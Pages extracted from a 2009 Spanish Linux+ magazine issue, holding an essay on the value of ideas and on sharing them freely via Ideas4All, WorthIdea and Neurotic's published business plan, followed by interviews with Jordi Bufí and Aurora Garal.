El término idea procede del griego ƒÂέƒ, de eidon, que significa yo vi, en referencia a la imagen conceptual que tenemos sobre las cosas en nuestra mente. Las ideas se asocian con la mente humana, al ser los humanos a los que se les otorga el raciocinio, la capacidad de razonar sobre su entorno, de reflexionar sobre lo que ha ocurrido y lo que ocurre, generando una visión mental de su entorno que es lo que nos permite tomar decisiones y juzgar las acciones de los demás y la realidad en si misma. Así pues, las ideas se asocian a las capacidades de raciocinio, autorreflexión, creatividad, adquirir conocimiento, aplicarlo, etc. El mun-do de las ideas da origen al mundo de los conceptos, la base del conocimiento que aplicamos a diario, tanto dentro del mundo científico, del mundo filosófico, o incluso dentro de nuestro día a día.

En Filosofía, el término idea ha sido utilizado con una gran variedad de significados. La visión de que las ideas existen en un plano separado de la realidad, o como algo paralelo a la vida real, se conoce como “ideas innatas”. Otras vistas sostienen que solamente somos capaces de descubrir ideas de la misma forma que descubrimos el mundo real, a partir de las experiencias personales. Gran parte de la ambigüedad del término en estos aspectos se debe al hecho de que se utiliza tanto para la representa-

El texto de este artículo está licenciado bajo Creati-ve Commons Atribución. Las fotografías están licen-ciadas bajo diversas licencias Creative Commons, que se pueden consultar en los encabezados de las mismas. La editorial ha tenido a bien el comprome-terse con la causa del conocimiento libre y liberar, en su Web, los contenidos de esta sección regular, dos meses después de aparecer su versión física en los kioscos.

Este artículo es Libre

Page 81: Linux_05_2009_ES

conocimiento libreLiberando Ideas

81www.lpmagazine.org

ción de la percepción (algo más cercano a lo real), como para la conceptualización de los pensamientos (algo más etéreo), generando una gran controversia de ideas concretas contra ideas abstractas”, así como “ideas simples contra ideas complejas.

Más allá de lo filosófico, basta ver que los humanos utilizamos las ideas para re-presentar todo aquello que vemos, con lo que nos relacionamos, o incluso aquello que utilizamos como solución a nuestros proble-mas. Manejamos ideas de forma innata a to-da hora, algunas de las cuales mantienen una relación directa con la realidad por ser repre-sentaciones conceptuales de cosas concretas o personas, y otras más abstractas relaciona-das con nuestros procesos de pensamiento y razonamiento.

También a diario generamos ideas rela-cionadas con los procesos necesarios para resolver algunos de nuestros problemas, tan-to en el trabajo como en el aspecto perso-nal, algunas de las cuales podemos aplicar, y algunas otras no son aplicables, aunque el manejarlas nos permite validar hipótesis que, en cualquier caso, resultan imprescin-dibles para poder abordar una gran variedad de cuestiones.

Las ideas son clave en nuestro día a día, y aún así en muchos casos somos reacios a compartirlas. ¿Por qué? Compartimos cosas bastante más elaboradas, como son los contenidos, que en muchos casos son una materialización elaborada de las ideas ori-ginales. Entonces, ¿por qué no compartir la materia base sin elaborar, las ideas en si mismas?

La validez y el valor de las IdeasUno de los problemas asociados a las ideas es el estudiar su validez. Generamos millones de ideas a lo largo de nuestra vida, aunque una gran mayoría de ellas no son válidas ni nos sirven para nada concreto, quedándose en el limbo de lo etéreo. Para que una idea tenga un valor en si misma, ha de ser una idea válida, pero determinar la validez de una idea en si misma no es algo sencillo de por sí. Cualquier cadena de razonamiento (sentido común) que intente demostrar la validez o falsedad de una idea, ha de utilizar conceptos, y por tanto ideas, en su propio recorrido. Así pues, para compartir ese razonamiento, hay que creer en la validez de todas las ideas empleadas como premisas de los argumentos, lo cual nos lle-va a una espiral de razonamiento que no tiene fin.

Tanto matemáticos, como astrónomos, fí-

Figura 1. Al ser intangibles resulta complicado representar en imágenes una idea. Tradicionalmente se han utilizado las bombillas para representar el hecho de tener una idea. Fotografía licenciada bajo CC-by-nc por Cayusa (http://flickr.com/photos/cayusa/)

Figura 2. Al tratarse de entidades abstractas, muchas veces manejamos representaciones más físicas para representar ideas, expresarlas, o al menos razonar sobre ellas, como pueden ser los diagramas o algunos

Page 82: Linux_05_2009_ES

82 Linux+ 5/2009

conocimiento libreLiberando Ideas

sicos, y demás científicos, aseguran que sus proposiciones universales son ciertas y tra- tan con la realidad. Dentro de la ciencia, se entiende que las leyes físicas formuladas por la mente tratan de reflejar el universo exterior, por lo que los términos y las ideas en esas ciencias tienen correlaciones perfectas en la

naturaleza y toman la esencia de los objetos con las que tratan. Sin embargo, todo lo que proponen no deja de ser nada más que un sistema consistente de proposiciones perfec-tamente alineadas con nuestra realidad. ¿Esto quiere decir que nada de lo que conocemos hasta la fecha es falso? En absoluto, puede

que algunas ideas que tratemos como reales acaben siendo falsas, pero eso no nos ha de preocupar, ya que cuando encontremos algu-na idea que represente mejor nuestra realidad desplazará a la anterior sin mayor proble-ma. Necesitamos manejar estas ideas para comprender la realidad y para postular posi-bilidades, y aunque nos equivoquemos en el proceso, nos resulta de vital importancia para poder seguir progresando.

En un ámbito más terrenal, y suponiendo que nuestras ideas tengan validez, ¿cuánto valen nuestras ideas? ¿Tienen valor alguno o no valen absolutamente nada? Existe una gran variedad de respuestas a estas preguntas, sobre todo dependiendo de con quien trates y en qué ámbito nos movamos. Dentro de un plano científico, las buenas ideas son vitales, ya que son las que permiten seguir investigan-do e ir descubriendo más acerca de nuestra rea-lidad. En otros ámbitos, parece que las ideas tienen un menor valor. Por ejemplo, dentro del mundo del emprendizaje y las inversiones, es muy común oír a los inversores decir que las ideas o no valen nada, o al menos que las ideas valen muy poco, en referencia a que las ideas se generan a toda hora, pero lo complejo es llevarlas adelante. Esto parece tener cierto sentido, ya que aunque ideas como la fusión fría pueden parecer tener un valor incalcu-lable, lo que realmente lleva al éxito, o tiene un valor tangible es el hecho de desarrollar la idea y ofrecer soluciones que la implementen. Aún así, tampoco debemos irnos al extremo, ya que las ideas tampoco es que no valgan nada. Las ideas tienen valor desde el punto de vista de poder ser utilizadas para resolver nuestros problemas, o los problemas de otros. También sirven para conocer lo que piensan los demás, para conocer sus necesidades. A este respecto, hace relativamente poco tiempo se inició una recogida de ideas por parte de la Unión Europea (http://www.con-sultas-europeas-a-la-ciudadania.eu/) que trata de estudiar cuáles son los problemas que más les preocupan a los ciudadanos para tratarlos con mayor detenimiento.

A lo largo del resto del artículo, vere-mos algunos casos de éxito de compartición y liberación de ideas, como son los proyectos Ideas4All y WorthIdea, y la inusual pero ex-celente iniciativa de liberar un plan de nego-cio por parte de la gente de Neurotic.

Ideas4AllTal y como comenta el propio equipo de Ideas- 4All (http://www.ideas4all.com), ideas4all es el sitio donde las personas con ideas pueden compartirlas; pueden cambiar la vida de al-

Figura 3. Cualquier proceso de razonamiento se fundamenta en la utilización de las ideas, por lo que razo-nar sobre las propias ideas no genera resultados a gusto de todos. Fotografía licenciada bajo CC-by-sa por Gutter (http://www.flickr.com/photos/somemixedstuff/)

Figura 4. La ciencia maneja ideas que tratan de modelar la realidad. En esta imagen, una célula cerebral cristalizada que, al ser analizada, da lugar a multitud de ideas que tratan de explicar su funcio-namiento. Fotografía licenciada bajo CC-by-nc-nd por PhOtOnQuAnTiQuE (http://www.flickr.com/pho-

Page 83: Linux_05_2009_ES

83www.lpmagazine.org

conocimiento libreLiberando Ideas

guien o incluso cambiar el mundo. Es el sitio donde las personas que necesitan una solución pueden encontrarla. También es el sitio donde las personas pueden ver ideas nuevas, navegar en busca de soluciones y divertirse. Resumien-do, ideas4all trata de la conectividad. Imagina millones de ideas, todas ellas dando vueltas en un Global Brain, todas ellas interconectadas y trabajando juntas. Es fabuloso, y es inteligen-te. De todos, para todos. Cada persona tiene ideas que merecen ser compartidas. Cualquier idea puede generar ideas nuevas. Así es como el 'Global Brain' funciona.

Ideas4All promueve la compartición de ideas por parte de los usuarios, con un enfo-que muy cercano al del Software Libre. En Ideas4All las ideas “se regalan” al mundo con el objetivo de cambiar la vida de otras personas, de compartir experiencias, o me-

jorar tu Comunidad. En Ideas4All las ideas se pueden licenciar de dos formas distintas, bajo Creative Commons Atribución 2.5, de forma que cada cual se reserva la autoría de sus ideas, pero cede el resto de derechos, o bien mediante la licencia Ideas4All bajo la cual se retiene el copyright de las ideas pero se cede el derecho de exponer las ideas en la Web.

Las ideas, después de ser compartidas, son analizadas y valoradas por la Comu-nidad, de forma que las ideas con mayor impacto ocupan las primeras posiciones del ranking de ideas. Las ideas también se pue-den comentar, lo cual genera interesantes discusiones sobre los temas más dispares.

Además de compartir ideas, en Ideas4All se pueden compartir problemas, para que otros miembros de la Comunidad aporten

soluciones a los mismos. Estos problemas pueden tener tanto un alcance local como un alcance global, permitiendo la comunica-ción y la compartición de opiniones a múlti- ples niveles.

WorthIdeaWorthIdea (http://www.worthidea.com/) es un proyecto tan similar como distinto de Ideas- 4All. Similar porque su objetivo también re-side en la compartición de ideas por parte de los usuarios, pero distinto en el planteamiento de fondo. Ideas4All tiene quizás un objetivo más altruista, el construir una base de datos de ideas de interés global, un Global Brain colectivo. Sin embargo, WorthIdea tiene un punto de vista más pragmático, como un nexo conductor entre distintos agentes, tratando de que los usuarios trasladen sus ideas a otros agentes (por ejemplo empresas) que puedan implementar esas ideas para mejorar produc-tos y ofrecer un mejor servicio. Esto no quiere decir que en WorthIdea no se puedan compar-tir ideas de todo tipo, todo lo contrario, pero sí se nota un sesgo más práctico y orientado hacia este tipo de ideas.

Hace poco tiempo, Aurora Garal (CEO de WorthIdea), publicaba un interesante artículo en Loogic (http://loogic.com/innovacion-abierta-entre-personas-y-empresas/), un exce- lente blog de negocios, acerca de la innova-ción abierta entre personas y empresas, en el que comentaba: los avances en las tecnolo-gías de la información están acelerando uno de los fenómenos que más va a revolucionar el status quo de la sociedad. Nos referimos a la innovación abierta, la innovación que rompe las fronteras de la organización para dejar que el potencial externo pueda acce- der para añadir valor. Aunque este movimien- to aún no ha explotado, llevamos varios años viendo muchas compañías sacándole partido.

Otra de las diferencias fundamentales de WorthIdea con respecto a Ideas4All es que, además de servir como una base de datos de ideas y, con ello, de conocimiento, Wor-thIdea también tiene una cierta vertiente de “comercio electrónico” de ideas, ya que en WorthIdeas se pueden vender y comprar las ideas, una forma de promover la generación de ideas con valor añadido que puedan servir como uno de los ejes innovadores de muchas empresas.

WorthIdea es un proyecto joven pero de gran valor, y tal y como nos comenta la propia Aurora Garal en la entrevista que aparece en este mismo número, actualmente nos encon-tramos inmersos en un desarrollo bastante

Figura 5. Captura de la web de Ideas4All, donde se pueden ver las ideas que comparten los usuarios, así como los votos que otros realizan sobre las mismas

Figura 6. Esquema del funcionamiento de WorthIdea extraído de su web

Page 84: Linux_05_2009_ES

84 Linux+ 5/2009

conocimiento libreLiberando Ideas

innovador y cerrando acuerdos con diferentes empresas, para lanzar una versión mucho más ambiciosa de WorthIdea, donde cada uno de nosotros podemos ser los protagonistas y ten-dremos voz y voto directo con las empresas que participen.

Un Plan de Negocio LibreEn septiembre de 2008 descubrí el blog de Jordi Bufí, cofundador de Neurotic (http:// www.neuroticweb.com/), una empresa espe-cializada en consultoría de Drupal y desa-rrollos web. El descubrimiento de este blog vino de la mano de la repercusión que tuvo en la web, especialmente entre blogs y medios relacionados con emprendedores e inversores de Internet, de la liberación de un plan de em-presa de una Red Social Inteligente (http:// jordi.bufi.es/hemos-publicado-un-plan-de-empresa).

Elaborar un plan de empresa es un pro-ceso largo y duro, ya que se desarrolla un do-cumento que suele superar con creces las 100 páginas (138 en el caso del plan liberado por Jordi Bufí y Carlos Rincón), donde se detallan tanto conceptos técnicos como financieros, analizando el mercado potencial, la compe-tencia, y un sinfín de aspectos que requieren de conocimientos y tiempo. Así pues, cono-ciendo el esfuerzo que conlleva desarrollar un plan de empresa, me pareció una decisión muy valiente la de liberar el documento para que otros pudieran aprovechar su experiencia, conocimientos, idea y trabajo, para desarro-

llar por su cuenta el proyecto.En su día Jordi hacía un planteamiento

muy acertado con respecto a la liberación de este plan de empresa en su blog: La cuestión es, tal y como se ha estado debatiendo en los comentarios ¿hemos cometido un error por nues- tra parte o más bien es un acierto? Nosotros creemos que publicar el plan de empresa tiene más ventajas que desventajas, sino obvia-mente no lo habríamos hecho.

Entre los pros de liberar el plan de empresa, Jordi enumeraba:

• Alguna gente conocerá el plan de empre-sa y, por tanto, nos conocerá a nosotros (o nos conocerá mejor si ya sabía que existíamos),

• La gente que lo lea nos puede indicar qué cambiaría en el plan de empresa, así podríamos mejorarlo o tenerlo en cuenta de cara a otro proyecto,

• Ayudamos a emprendedores (sobre todo los que empiezan y/o tienen un perfil más técnico, como nosotros),

• Alguien puede ver el plan de empresa, encontrarlo interesante y decidir finan-ciarlo.

Y a pesar de los pros, la decisión de liberar el documento, la idea, puede resultar complica-da de tomar, ya que significa prácticamente regalar todo ese esfuerzo para que alguien se pueda beneficiar de la idea y sacar el proyec-to adelante sin contar con ellos. Imagino que

el hecho de estar tan cerca del Software Libre (Drupal es Software Libre, y también impar-ten cursos y charlas relacionadas con el tema en Universidades) les ayudó a tomar esta de-cisión que, como poco, les ha reportado con-tactos y visibilidad. En este mismo número entrevistamos a Jordi Bufí, quien nos aporta más datos e información sobre esta decisión y sobre el plan de empresa en sí.

ConclusiónResulta curioso que, de pequeños, nos expli-can lo importante que es compartir, pero que a lo largo de nuestra vida vayamos perdiendo esa costumbre. El trabajo, la competitividad, y otros intereses que no tocaremos en este artículo, nos llevan a ir compartiendo cada día menos. Por suerte, el Software Libre ha abierto muchas puertas en torno a la compar-tición de contenidos y oportunidades, y se ha transportado a otros entornos, facilitando el que surjan iniciativas que traten acerca de compartir multitud de cosas, tanto conteni-dos, como incluso ideas, tal y como hemos visto en este artículo. Desde mi punto de vis-ta, no puedo hacer más que dar la enhorabue-na tanto a la gente de Ideas4All, WorthIdea y Neurotic por haber dado una vuelta de tuer-ca al mundo del conocimiento libre, posibili-tando la compartición de ideas y la apertura a nuevas posibilidades que hasta hace poco no existían. Y estoy totalmente seguro de que el futuro nos depara todavía más iniciativas interesantes en esta línea. Figura 7. La entrada del blog de Jordi Bufi donde comentaba la liberación de su plan de empresa

José Carlos Cortizo Pérez es Ingeniero Superior en Informática y, actualmente, doctorando en el programa de Ciencias de la Computación de la Universidad Carlos III de Madrid. Tras una dilatada experiencia como consultor, actualmente compagina sus labores como CTO en AINetSolutions y Wipley, con labores do-centes y de investigación en la Universi-dad Europea de Madrid. Su bitácora per-sonal se encuentra en http://josekblog. blogspot.com.

Por otra parte, José Carlos es miem- bro de GLUEM (Grupo de Usuarios de Linux y Software Libre de la Universidad Europea de Madrid, http://www.gluem. org), organización muy activa que, de forma anual, organiza las Jornadas de Informática de la UEM (en otoño) y las Jornadas de Conocimiento Libre (en pri- mavera).

Sobre el autor

Page 85: Linux_05_2009_ES

Páginas recomendadas

www.diariolinux.com www.elguille.info www.gatolinux.blogspot.com

www.hispabyte.net www.linuxdata.com.ar

www.linuxhispano.net www.pillateunlinux.wordpress.com www.usla.org.ar

www.opensourcespot.org

www.mundopc.net www.picandocodigo.net www.linuxuruguay.org

Page 86: Linux_05_2009_ES

86

entrevistaEntrevista a Jordi Bufí

Linux+ 5/2009

Jordi Bufí (http://jordi.bufi.es/) es co-fun- dador de Neurotic (http://www.neuroticweb.com), una empresa dedicada al desarrollo de solu-ciones Web y la consultoría de Drupal, así como una especie de incubadora de proyectos propios. Gracias a la excelente disposición de Jordi, hemos podido entrevistarle para que nos cuente más detalles del plan de empresa que liberaron, de su relación con el Software Libre y otros aspectos relacionados con Neurotic y con el mundo del emprendizaje.

L+: Como bien dices en tu blog, eres un "informático metido a emprendedor", ya que eres cofundador de Neurotic. ¿A qué os dedi-cáis en Neurotic?

Jordi Bufi: En Neurotic nos dedicamos al desarrollo Web. Estamos especializados en Drupal y desarrollamos tanto proyectos para otras empresas como proyectos propios.

L+: ¿Qué tal se lleva la vida de empren-dedor?

J.B.: Si haces lo que te gusta todo es mucho más fácil. De todos modos levantar un proyecto desde cero nunca es fácil y últimamente las cosas están peor, sobre todo de cara al acceso a la financiación privada. Si a esto le sumas unas ayudas por parte de la administración de muy difícil acceso y, normalmente, la incom-

de crear uno. Entonces le pregunté a mi socio (Carlos) qué le parecía la idea de compartirlo y estuvo de acuerdo.

Aprovecho la ocasión para comentar que Carlos es el gran olvidado. Si bien fui yo quien publicó el documento en mi blog personal, sin su colaboración y aprobación no hubiera sido posible la creación del mismo ni su posterior liberación.

L+: Desde tu punto de vista, ¿realmente las ideas "no valen nada" como dicen muchos inversores?

J.B.: Mi punto de vista sobre las ideas ha ido cambiando. Si bien es cierto que al principio era bastante celoso de las ideas con el tiempo me he relajado bastante en este as- pecto.

Pienso que habiendo tanta gente en el mundo es normal que alguien haya tenido la misma idea que tú. Si además la idea es buena lo más seguro es que además ya la haya desa- rrollado.

Creo que lo que marca la diferencia es el "conjunto de pequeñas ideas" y la estrategia que sigues en la ejecución del proyecto así co-mo la calidad de desarrollo del mismo.

L+: ¿Podrías resumirnos la idea que plan-teáis en el plan de empresa, como si fuera una especie de "elevator pitch"?

prensión de tu entorno, nos encontramos ante un panorama poco alentador. Por eso es prác-ticamente imprescindible que si te lanzas lo hagas con algo que te apasione.

A pesar de todo ver crecer tu proyecto es algo impagable.

L+: Por mucho que se diga en el mundillo de los emprendedores (bueno, sobre todo por parte de los inversores), que las ideas "no valen nada", los emprendedores tienden a preservar-las como sus tesoros. ¿Por qué os decidisteis a liberar no solamente una idea, sino un plan de negocio elaborado al que le habéis dedica-do mucho tiempo? ¿La decisión fue un proceso simple u os costó un cierto tiempo llegar a la conclusión de que merecía la pena liberarlo?

J.B.: Nos encontramos en un punto que teníamos un buen documento (el plan de em-presa de un proyecto) hecho para un propósito que no se había conseguido (lograr financia-ción). Antes de dejarlo reposar en nuestro disco duro para los tiempos de los tiempos decidimos compartirlo con la comunidad de emprendedores.

Fue un proceso muy natural. Pensé que pese a las limitaciones del plan de empresa (tuvimos que hacerlo siguiendo un modelo muy rígido) podría ayudar a mucha gente que se planta por primera vez ante la necesidad

Entrevista a Jordi Bufí (co-fundador de Neurotic)Jordi Bufí es un “informático metido a emprendedor” desde el año 2003, cuando junto a Carlos Rincón fundó Neurotic, una empresa tecnológica dedicada a ofrecer soluciones Web y consultoría de Drupal. En septiembre de 2008, Jordi anunciaba en su blog la liberación bajo licencia Creative Commons del plan de empresa de un proyecto muy interesante en el que habían estado trabajando Carlos y él durante bastante tiempo. En esta entrevista profundizaremos sobre la liberación del plan de empresa y la relación de Neurotic con el Software Libre.

Page 87: Linux_05_2009_ES

87

entrevistaEntrevista a Jordi Bufí

www.lpmagazine.org

J.B.: Nuestra idea era montar una "red social inteligente" que aunara la inteligencia ar-tificial con la inteligencia colectiva para reunir en una sola página Web toda la información que hay disponible en Internet sobre todo lo relacio-nado con viajes debidamente categorizado.

L+: La publicación de la versión liberada de vuestro plan de empresa tuvo muy buena acogida, de hecho en el post de tu blog (http:// jordi.bufi.es/) en el que enlazabas el plan de em- presa y comentabas los detalles acerca de su li-beración recibió muchos comentarios. Más allá de comentarios positivos, ¿el haber liberado el plan de empresa os ha aportado algo o abierto alguna puerta?

J.B.: La ventaja más importante pero menos medible ha sido la repercusión que ha tenido la propia liberación en Internet; gracias a esto ahora más gente conoce Neurotic. Ade-más las críticas recibidas son muy útiles, no só-lo para elaborar nuevos planes de empresa sino en general para encarar futuros proyectos.

L+: Además de sacar adelante todos los proyectos que hacéis en Neurotic, co-organizas el Iniciador de Barcelona, un encuentro de em- prendedores para emprendedores que también se organiza en Madrid. ¿Qué le puede aportar este tipo de eventos a alguien que quiera sacar una idea adelante? ¿Y por qué te decidiste a co- organizar el evento?

J.B.: Iniciador es el lugar ideal para re-lacionarse con gente que se encuentra en la misma situación que tú, cosa que ayuda a su-perar "la soledad del emprendedor". Además de conocer la experiencia de otros emprendedores es un buen sitio para encontrar colaboradores: desde clientes a proveedores pasando, porque no, por futuros socios.

La decisión de co-organizar el evento la tomé a raíz de una petición de Jordi Pérez (el

responsable de traer Iniciador a Barcelona). Ha-cía relativamente poco que Carlos y yo había- mos decidido "romper el cascarón" y empezar a participar en eventos de networking. Dadas nuestras pocas habilidades de comunicación ví la posibilidad de organizar Iniciador como una excelente posibilidad para mejorar en este aspecto. Digamos que ha sido la mejor terapia de choque para dos frikis asociales como no-sotros.

L+: ¿Qué consejos le darías a aquellos que, en la actualidad, tengan intención de llevar algún proyecto propio adelante? ¿Mejor esperar a que pase la crisis o ponerse a traba-jar desde ya?

J.B.: Este es un asunto parecido al de tener un hijo. Si esperas el mejor momento lo más seguro es que te quedes sin descendencia.

Es difícil dar un consejo general sin tener en cuenta la situación laboral de cada uno y las responsabilidades que tiene uno encima. Segu-ramente no sea el mejor momento para dejar un trabajo estable si la mayoría de los ingresos fa-miliares provienen de él, pero creo que es muy importante empezar cuando antes a la mínima que puedas permitírtelo. Son tiempos difíciles pero si consigues montar una empresa rentable en esta situación que estamos viviendo serás capaz de todo cuando el panorama económico vuelva a la normalidad.

En este sentido recomiendo leer "El Libro Negro del Emprendedor" de Fernando Trías de Bes. Si después de leerlo no se te han quitado las ganas de empezar seguramente sea tu mo- mento.

L+: En Neurotic estáis muy cerca del Soft-ware Libre, una de vuestras líneas de negocio es la consultoría de Drupal, y también habéis dado algunas charlas/cursos en Jornadas relaciona-das con el Software Libre. ¿Cuál es tu visión del

Software Libre con respecto a los negocios? ¿Abre más puertas trabajar con Software Libre?

J.B.: En Neurotic prácticamente la totali-dad de los programas que usamos pertenecen a Software Libre y nos gusta animar al resto de empresas a que, al menos, lo prueben. Sí que es cierto que puedes necesitar usar software privativo para algún tema muy concreto pero la mayoría de necesidades están cubiertas con el amplio espectro de soluciones libres que hay disponibles hoy en día.

Trabajar con Software Libre abarata los costes de los proyectos ya que por norma ge-neral te ahorras el pago de licencias. Esto no es lo más importante pero normalmente es lo que más llama la atención a los clientes.

Además, teniendo en cuenta que tienes una comunidad de desarrolladores mejorando la herramienta día a día acabas trabajando con un software más seguro y más funcional que las alternativas no libres.

Entrando en el terreno puro de desarrollo también se debe valorar que al trabajar con software libre es mucho más fácil que cualquier otra empresa asuma el desarrollo del proyecto en fases posteriores en el caso que sea nece-sario.

L+: ¿Cuál es vuestro proyecto más desta-cado dentro de Neurotic?

J.B.: Marujeo.com es nuestro proyecto más mediático y que más repercusión está teniendo. Una mezcla de la temática (prensa del corazón) y una Blogger muy gamberra (Bea) ha provoca-do que hayamos salido en revistas, periódicos y televisión por diferentes motivos.

De hecho en estos momentos estamos desarrollando WTF (Walking Towards the Fu-ture), una versión modificada del proyecto que publicamos en el plan de empresa. Dada la si-tuación actual creemos más importante mejorar los proyectos que ya tenemos en marcha en vez de lanzar al mercado nuevos proyectos. Por eso aprovecharemos WTF para aplicarlo primero a marujeo.com y después al resto de proyectos que tenemos.

La entrevista ha sido realizada por nuestro colaborador José Carlos Cortizo Pérez.

El texto de este artículo está licenciado ba-jo Creative Commons Atribución. La edito-rial ha tenido a bien el comprometerse con la causa del conocimiento libre y liberar, en su Web, los contenidos de esta sección regular, dos meses después de aparecer su versión física en los kioscos.

Este artículo es Libre

Figura 1. Esta es la web de Neurotic (http://www.neuroticweb.com), donde se pueden ver sus proyectos, su equipo y todo lo que rodea a la propia empresa

Page 88: Linux_05_2009_ES

88

entrevistaEntrevista a Aurora Garal

Linux+ 5/2009

Aurora Garal es la co-fundadora y actual CEO de WorthIdea (http://www.worthidea.com), una excelente iniciativa que promueve la compar-tición de ideas a través de una plataforma web. Aurora nos ha hecho un hueco en su ajetreada agenda para responder a algunas de nuestras preguntas sobre su proyecto, y sobre la com-partición de ideas.

Linux+: Aurora, ¿cómo describirías Worth- Idea en pocas palabras?

Aurora Garal: WorthIdea es una plata-forma donde las empresas van a poder ace-lerar y orientar sus procesos de innovación mediante la colaboración con sus clientes o po- tenciales consumidores.

L+: ¿Cómo se te ocurrió llevar adelante un proyecto como WorthIdea?

A.G.: La verdad es que siempre había teni-do claro que quería montar un negocio propio, ser emprendedora. Tenía muchas ideas pero muchas de ellas requerían una inversión y unos conocimientos de los que yo carecía. Me parecía un desperdicio no hacer nada con ellas y busqué un canal para poder hacérselas llegar a las em-presas, que ya estaban en el negocio, y que con una mínima inversión les podían suponer unos beneficios importantes. Pero ese canal no existía, salvo los típicos buzones de sugerencias

después de su publicación en WorthIdea, Línea Directa sacó ese servicio para sus clientes.

L+: ¿Existe alguna forma de que los usua-rios protejan sus ideas en WorthIdea? ¿Uti-lizáis algún sistema de licencias (por ejemp- lo Creative Commons o Color Iuris) o tenéis pensado utilizarlo?

A.G.: Cuando un usuario introduce una idea en WorthIdea, su principal motivación es que una empresa la haga realidad y le ofrezca ese servicio o producto ideado. Por este moti-vo quizás no tenga mucho sentido lo de “pro-teger” la idea, puesto que lo que pretendes es que alguien la coja y la desarrolle. En cual-quier caso, y aunque se definieran licencias sobre ellas, sería muy complicado proteger-las legalmente si no existe una patente de por medio. Yo siempre digo lo mismo, si tienes una idea que quieras y puedas hacer tú realidad, no la introduzcas en WorthIdea. En Worth- Idea podemos y debemos dejar todas aquellas ideas que nos interesan como productos, pero que no nos vemos capaces de sacar adelante con nuestros medios.

L+: En WorthIdea se comparten ideas para todos los gustos y de todos los colores, sin embargo, ¿existe alguna categoría de ideas predominante? ¿Tenéis algún tipo de estadística mostrando las áreas más activas?

que nunca harían llegar mi idea a las capas de decisión. Así que maduré la idea, ví que todos teníamos necesidades que el mercado no nos satisfacía, que se nos ocurrían muchos y origi-nales productos y servicios que compraríamos si alguien nos lo ofreciera y por eso decidí hacer una plataforma donde todos pudiéramos decir a las empresas aquellos productos y servicios que nos gustaría que nos ofrecieran. Todas las empresas innovan, sacan al mercado nuevos productos, pero ¿y si esos productos te los hubieran dicho previamente tus clientes? Y así surgió WorthIdea.

L+: A día de hoy, ¿ha habido casos de éxito en WorthIdea? Es decir, ¿conoces algu-na empresa o persona que haya desarrollado alguna idea compartida en WorthIdea?

A.G.: Aunque es complicado saber cuáles de las ideas de la comunidad de WorthIdea se han llevado a cabo, sí que hemos recibido co-rreos de algunos emprendedores indicándonos ideas que habían hecho realidad. Por otro lado, también hemos visto ideas que se han llevado a cabo por empresas importantes, aunque su origen en WorthIdea no está confirmado en la mayor parte de los casos. Una de ellas por ejemplo, fue una idea en la que se sugería el pago mensual para las pólizas de seguros de coches en lugar del típico anual. Cuatro meses

Entrevista a Aurora Garal (co-fundadora y CEO de WorthIdea)WorthIdea es una plataforma global que permite a las personas comunicar todas las ideas originales que tengan, generando interesantes conversaciones entre distintas personas y agentes, o incluso obteniendo remuneración económica por las ideas que realmente aportan valor. En este número entrevistamos a Aurora Garal, co-fundadora y actual CEO del proyecto.

Page 89: Linux_05_2009_ES

89

entrevistaEntrevista a Aurora Garal

www.lpmagazine.org

A.G.: Tal y como dices, las hay de todos los tipos imaginables, aunque sí que se puede decir que actualmente casi la mitad de las ideas están relacionadas de alguna forma con la tec-nología ya sea del sector de telefonía móvil, de negocios de Internet o cualquier tipo de maqui-naria o invento. Actualmente, esta información de áreas más activas no se están mostrando en la web aunque en los próximos desarrollos sí que se tiene pensado el poder hacer una nube de tags o sistema similar que permita tener este conocimiento de una forma sencilla y rápida.

L+: Además de ser una excelente inicia-tiva, WorthIdea también es una web donde los usuarios pueden interactuar, lo que implica unos costes de desarrollo, mantenimiento, etc. ¿Fue fácil conseguir la financiación para llevar adelante WorthIdea? ¿Tenéis planes de seguir creciendo a corto/medio plazo?

A.G.: La puesta en marcha de WorthIdea se realizó exclusivamente con las aportacio-nes que hicimos los dos socios fundadores. Actualmente nos encontramos inmersos en un

desarrollo bastante innovador y cerrando acuer-dos con diferentes empresas, para lanzar una versión mucho más ambiciosa de WorthIdea, donde cada uno de nosotros podemos ser los protagonistas y tendremos voz y voto directo con las empresas que participen.

L+: Tal y como comentas, decidiste ser emprendedora y comenzar un camino ilusio- nante pero también muy duro. ¿Animas a otras personas que tengan ideas que les ilusionen a montar su propia empresa o sacar sus pro-yectos adelante? ¿Cuáles han sido tus mayo-res satisfacciones a lo largo del camino?

A.G.: Sin duda alguna. Antes de ser em- prendedora, trabajé durante años en una consul- tora multinacional y allí la verdad que estuve inmersa en importantes proyectos que me die-ron muchas satisfacciones profesionales. Pero nada de todo aquello se puede comparar a lo que sientes cuando trabajas en tu propio pro-yecto, para tu propia empresa. Es cierto que hay momentos de incertidumbre, dejas a un lado la seguridad y asumes riesgos, pero soy de las que

piensa que si no arriesgas no ganas, y aunque solo sea por la experiencia creo que de sobra merece la pena intentarlo. Sin embargo es muy difícil elegir la mayor satisfacción... creo que la mayor satisfacción es el conjunto en sí, el ver como piedra a piedra se va construyendo algo que tiene sentido. En el camino las pequeñas piedrecitas que vas consiguiendo te satisfacen e ilusionan, pero ver el conjunto es la mayor satisfacción. Y aún hay más, porque sólo con pensar que esto no ha hecho más que comenzar como aquel que dice y que quedan muchas piedras por poner, te ilusionas más todavía.

L+: Entre los inversores es muy habitual oír frases del tipo "la idea no vale nada"; imagino que tu opinión será muy distinta. ¿Qué les dirías tú a los que restan valor a las ideas?

A.G.: Todos los inversores dicen lo mis- mo, y algo deben saber, ¿no? Yo creo que para alguien que ve muchos proyectos todos los días basados en buenas ideas, es normal que reste importancia a lo que ve que hay mucho y se centre más en lo que echa en falta, que es un buen equipo promotor. Yo comparto total- mente la premisa de que si no hay un equipo bueno y equilibrado para abarcar un proyecto, da igual que la idea sea muy buena, porque no se va a poder sacar adelante. Pero también le doy a las ideas el valor que se merecen. Pensemos en empresas ya establecidas, que sacan un nuevo producto, que a su vez surgió de una idea. Por ejemplo, Windows Vista. En este caso, el equipo, el dinero, etc., no era un problema, sin embargo falló “lo menos importante” la idea. Si ahora nos vamos al terreno de los emprendedores, si partes de una mala idea, aunque tengas todo lo demás lo más seguro es que te dirijas al fracaso, aunque por supuesto pueden haber excepcio-nes. Quizás esta pregunta da para hacer todo un artículo sobre ella, definiendo las característi- cas que deben cumplir las ideas, los aspectos del entorno que le influyen, etc., pero está claro que sin la idea inicial nada nuevo podría surgir.

La entrevista ha sido realizada por nuestro colaborador José Carlos Cortizo

Pérez.

